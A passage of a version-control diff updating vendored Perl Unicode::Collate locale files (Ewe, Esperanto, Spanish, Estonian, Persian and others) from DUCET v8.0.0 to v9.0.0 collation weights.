+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+017A      ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0301 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0341 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+0179      ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0301 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0341 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+ENTRY
+};

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ee.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ee.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ee.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,36 +1,36 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # d-tail, open-e, f-hook, gamma, eng, open-o, v-hook don't require tailoring
-   entry => <<'ENTRY', # for DUCET v8.0.0
+   entry => <<'ENTRY', # for DUCET v9.0.0
 0302      ; [.0000.0029.0002] # COMBINING CIRCUMFLEX ACCENT
-00E2      ; [.1BC2.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-00C2      ; [.1BC2.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-00EA      ; [.1C25.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-00EE      ; [.1CAD.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
-00CE      ; [.1CAD.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-00F4      ; [.1D58.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1D58.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-00FB      ; [.1E30.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX
-00DB      ; [.1E30.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
-0177      ; [.1E86.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX
-0176      ; [.1E86.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX
-0064 007A ; [.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
-0044 007A ; [.1C0B.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
-0044 005A ; [.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
-0067 0062 ; [.1C70.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
-0047 0062 ; [.1C70.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
-0047 0042 ; [.1C70.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
-0078      ; [.1C94.0020.0002] # LATIN SMALL LETTER X
-0058      ; [.1C94.0020.0008] # LATIN CAPITAL LETTER X
-006B 0070 ; [.1CE1.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER P>
-004B 0070 ; [.1CE1.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER P>
-004B 0050 ; [.1CE1.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER P>
-006E 0079 ; [.1D35.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-004E 0079 ; [.1D35.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-004E 0059 ; [.1D35.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-0074 0073 ; [.1E11.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER S>
-0054 0073 ; [.1E11.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER S>
-0054 0053 ; [.1E11.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER S>
+00E2      ; [.1C47.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+00C2      ; [.1C47.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+00EA      ; [.1CAA.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+00EE      ; [.1D32.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
+00CE      ; [.1D32.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+00F4      ; [.1DDD.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1DDD.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+00FB      ; [.1EB5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX
+00DB      ; [.1EB5.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
+0177      ; [.1F0B.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX
+0176      ; [.1F0B.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX
+0064 007A ; [.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
+0044 007A ; [.1C90.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
+0044 005A ; [.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
+0067 0062 ; [.1CF5.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
+0047 0062 ; [.1CF5.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
+0047 0042 ; [.1CF5.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
+0078      ; [.1D19.0020.0002] # LATIN SMALL LETTER X
+0058      ; [.1D19.0020.0008] # LATIN CAPITAL LETTER X
+006B 0070 ; [.1D66.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER P>
+004B 0070 ; [.1D66.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER P>
+004B 0050 ; [.1D66.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER P>
+006E 0079 ; [.1DBA.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+004E 0079 ; [.1DBA.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+004E 0059 ; [.1DBA.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+0074 0073 ; [.1E96.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER S>
+0054 0073 ; [.1E96.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER S>
+0054 0053 ; [.1E96.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER S>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/eo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/eo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/eo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,29 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0109      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
-0063 0302 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
-0108      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
-0043 0302 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
-011D      ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
-0067 0302 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
-011C      ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
-0047 0302 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
-0125      ; [.1C94.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
-0068 0302 ; [.1C94.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
-0124      ; [.1C94.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
-0048 0302 ; [.1C94.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
-0135      ; [.1CC8.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
-006A 0302 ; [.1CC8.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
-0134      ; [.1CC8.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
-004A 0302 ; [.1CC8.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
-015D      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
-0073 0302 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
-015C      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
-0053 0302 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
-016D      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH BREVE
-0075 0306 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH BREVE
-016C      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE
-0055 0306 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0109      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
+0063 0302 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
+0108      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
+0043 0302 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
+011D      ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
+0067 0302 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX
+011C      ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
+0047 0302 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX
+0125      ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
+0068 0302 ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX
+0124      ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
+0048 0302 ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX
+0135      ; [.1D4D.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
+006A 0302 ; [.1D4D.0020.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
+0134      ; [.1D4D.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
+004A 0302 ; [.1D4D.0020.0008] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
+015D      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
+0073 0302 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX
+015C      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
+0053 0302 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX
+016D      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH BREVE
+0075 0306 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH BREVE
+016C      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE
+0055 0306 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH BREVE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00F1      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00F1      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es_trad.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es_trad.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es_trad.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,15 +1,15 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0068 ; [.1BF6.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0043 0068 ; [.1BF6.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1BF6.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-006C 006C ; [.1CF3.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
-004C 006C ; [.1CF3.0020.0007] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
-004C 004C ; [.1CF3.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
-00F1      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0068 ; [.1C7B.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0043 0068 ; [.1C7B.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1C7B.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+006C 006C ; [.1D78.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
+004C 006C ; [.1D78.0020.0007] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
+004C 004C ; [.1D78.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
+00F1      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/et.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/et.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/et.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,51 +1,51 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0161      ; [.1E0D.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1E0D.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1E0D.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1E0D.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-007A      ; [.1E0E.0020.0002] # LATIN SMALL LETTER Z
-005A      ; [.1E0E.0020.0008] # LATIN CAPITAL LETTER Z
-017E      ; [.1E0F.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-00F5      ; [.1E76.0020.0002] # LATIN SMALL LETTER O WITH TILDE
-006F 0303 ; [.1E76.0020.0002] # LATIN SMALL LETTER O WITH TILDE
-00D5      ; [.1E76.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE
-004F 0303 ; [.1E76.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE
-1E4D      ; [.1E76.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
-1E4C      ; [.1E76.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
-022D      ; [.1E76.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
-022C      ; [.1E76.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
-1E4F      ; [.1E76.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
-1E4E      ; [.1E76.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
-1EE1      ; [.1E76.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
-1EE0      ; [.1E76.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
-00E4      ; [.1E77.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1E77.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1E77.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1E77.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1E77.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1E77.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00F6      ; [.1E78.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1E78.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1E78.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1E78.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1E78.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1E78.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00FC      ; [.1E79.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E79.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E79.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E79.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E79.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E79.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E79.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E79.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E79.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E79.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E79.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E79.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0161      ; [.1E92.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E92.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E92.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E92.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+007A      ; [.1E93.0020.0002] # LATIN SMALL LETTER Z
+005A      ; [.1E93.0020.0008] # LATIN CAPITAL LETTER Z
+017E      ; [.1E94.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1E94.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+00F5      ; [.1EFB.0020.0002] # LATIN SMALL LETTER O WITH TILDE
+006F 0303 ; [.1EFB.0020.0002] # LATIN SMALL LETTER O WITH TILDE
+00D5      ; [.1EFB.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE
+004F 0303 ; [.1EFB.0020.0008] # LATIN CAPITAL LETTER O WITH TILDE
+1E4D      ; [.1EFB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
+1E4C      ; [.1EFB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+022D      ; [.1EFB.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
+022C      ; [.1EFB.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+1E4F      ; [.1EFB.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+1E4E      ; [.1EFB.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+1EE1      ; [.1EFB.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
+1EE0      ; [.1EFB.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
+00E4      ; [.1EFC.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1EFC.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1EFC.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1EFC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6      ; [.1EFD.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1EFD.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1EFD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1EFD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC      ; [.1EFE.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EFE.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EFE.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EFE.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EFE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EFE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EFE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EFE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EFE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EFE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EFE.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EFE.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fa.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fa.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fa.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,51 +1,51 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
 0650      ; [.0000.0077.0002] # ARABIC KASRA
 064B      ; [.0000.007B.0002] # ARABIC FATHATAN
 064D      ; [.0000.007C.0002] # ARABIC KASRATAN
 064C      ; [.0000.007D.0002] # ARABIC DAMMATAN
-0622      ; [.2285.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
-0627 0653 ; [.2285.0020.0002][.FFF1.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE
-08AC      ; [.2285.0020.0002][.FFF0.0000.0000] # ARABIC LETTER ROHINGYA YEH
-0671      ; [.2286.0021.0002] # ARABIC LETTER ALEF WASLA
-0621      ; [.2287.0020.0002][.FFF0.0000.0000] # ARABIC LETTER HAMZA
-0623      ; [.2287.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-0627 0654 ; [.2287.0021.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA ABOVE
-0672      ; [.2287.0022.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE
-0625      ; [.2287.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW
-0627 0655 ; [.2287.0023.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH HAMZA BELOW
-0673      ; [.2287.0024.0002][.FFF0.0000.0000] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW
-0624      ; [.2287.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
-0648 0654 ; [.2287.0025.0002][.FFF0.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE
-06CC 0654 ; [.2287.0026.0002][.FFF0.0000.0000] # <ARABIC LETTER FARSI YEH, ARABIC HAMZA ABOVE>
-0649 0654 ; [.2287.0026.0003][.FFF0.0000.0000] # <ARABIC LETTER ALEF MAKSURA, ARABIC HAMZA ABOVE>
-0626      ; [.2287.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
-064A 0654 ; [.2287.0026.0004][.FFF0.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE
-066E      ; [.2287.0020.0002][.FFF1.0000.0000] # ARABIC LETTER DOTLESS BEH
-06AA      ; [.22FD.0021.0002] # ARABIC LETTER SWASH KAF
-06AB      ; [.22FD.0022.0002] # ARABIC LETTER KAF WITH RING
-0643      ; [.22FD.0023.0002] # ARABIC LETTER KAF
-06AC      ; [.22FD.0024.0002] # ARABIC LETTER KAF WITH DOT ABOVE
-06AD      ; [.22FD.0025.0002] # ARABIC LETTER NG
